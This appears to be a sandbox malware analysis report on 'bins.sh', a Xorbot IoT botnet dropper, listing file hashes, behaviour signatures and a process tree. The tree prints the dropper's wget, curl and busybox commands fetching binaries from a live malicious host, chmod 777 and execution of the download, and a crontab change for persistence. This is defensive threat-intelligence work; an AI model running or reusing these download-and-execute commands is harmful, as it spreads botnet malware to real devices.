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Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    28/02/2025, 03:16

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    e30ffb2eaaca92a1709929457fea3835

  • SHA1

    74c6b5d3241f81e97f9ffb9cc0024d1891fca787

  • SHA256

    ea613e9d026e2a4172b790331d44ed6ab4118b9dca3a6fbd53e0135b97e0d30b

  • SHA512

    6ebd2a3b7566114e474308ecf3beb317db5e0434eafebebb917c39627d2a8501cedd6e28b5ff5d139f97b067587b628cc4464eb9444fa8af209988a3d987d45d

  • SSDEEP

    192:lUhghhYFhgShMhQhq/P5tqUUZ+4hghhYFhgShMhQhq/PRsc:lUShOFSS2WqgUUI4ShOFSS2Wq

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1980) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:644
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:646
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:648
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:696
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:728
      • /bin/chmod
        chmod 777 1HRAG8odsOX0tziE1yOmqAplcocwscNM8H
        2⤵
        • File and Directory Permissions Modification
        PID:732
      • /tmp/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H
        ./1HRAG8odsOX0tziE1yOmqAplcocwscNM8H
        2⤵
        • Renames itself
        • Reads runtime system information
        PID:734
        • /bin/sh
          sh -c "crontab -l"
          3⤵
            PID:736
            • /usr/bin/crontab
              crontab -l
              4⤵
                PID:738
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:739
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:740
            • /bin/rm
              rm 1HRAG8odsOX0tziE1yOmqAplcocwscNM8H
              2⤵
                PID:752
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
                2⤵
                • System Network Configuration Discovery
                PID:755

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • /tmp/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H

              Filesize

              127KB

              MD5

              89077b7bd4bcafca7713be43635c4862

              SHA1

              fc02edb8fba29ea8ee99e6157ef8560334530052

              SHA256

              78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

              SHA512

              1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

            • /var/spool/cron/crontabs/tmp.y5KX5N

              Filesize

              210B

              MD5

              d4b6d965436623bbedb630d9fca99d99

              SHA1

              7ff6d15b31fef6f1ed11ff95ade8ffca757dfcf5

              SHA256

              72e9a1f9670ebf68374702efe41c546ef682c6fa9f58beb5344ddcd2022d5118

              SHA512

              ef08928930de10fbc679dd1b535ac08b17ea4ed1b993ebf1228480062793c99d36aa6e1b8e4f32db0bc10137d7d8cd676426bd05052e9120c99129ee8df20ccf